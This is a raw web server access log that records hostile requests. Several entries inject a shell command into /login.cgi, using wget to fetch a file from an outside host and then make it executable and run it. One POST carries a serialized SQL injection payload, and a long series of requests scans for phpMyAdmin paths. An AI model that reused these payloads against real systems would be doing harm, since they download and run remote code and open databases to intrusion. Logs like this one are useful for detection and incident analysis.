211.192.224.217 - - [09/Feb/2020:17:41:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [09/Feb/2020:17:42:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
106.54.188.252 - - [09/Feb/2020:17:42:06 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.54.188.252 - - [09/Feb/2020:17:42:06 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:06 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:07 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:07 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:08 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:09 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:10 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:10 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:10 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:10 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:11 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:11 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:11 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:11 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:11 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:12 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:13 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:14 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:14 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:14 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:14 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:15 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:15 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:15 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:15 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:15 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:16 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:16 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:17 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:17 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:17 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:17 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:21 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:23 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
211.192.224.217 - - [09/Feb/2020:17:42:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:17:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:42:25 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:26 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:26 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:26 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:26 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:27 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:27 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:28 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:29 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:29 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:30 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:30 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:31 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:37 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:38 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:38 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:38 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:39 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:41 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:42 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:42 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:42 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:42 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:43 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:43 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:44 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:45 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:46 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:46 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:46 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:46 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:47 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:47 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:47 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:48 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:48 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:49 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:53 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:56 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:57 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:58 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:58 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:58 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:58 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:42:59 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:01 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:02 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:02 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:02 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:02 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:05 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:06 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:06 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:06 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:06 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:07 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:07 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:07 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:09 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:10 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:10 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:10 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:10 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:11 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:11 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:11 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:14 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:43:14 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
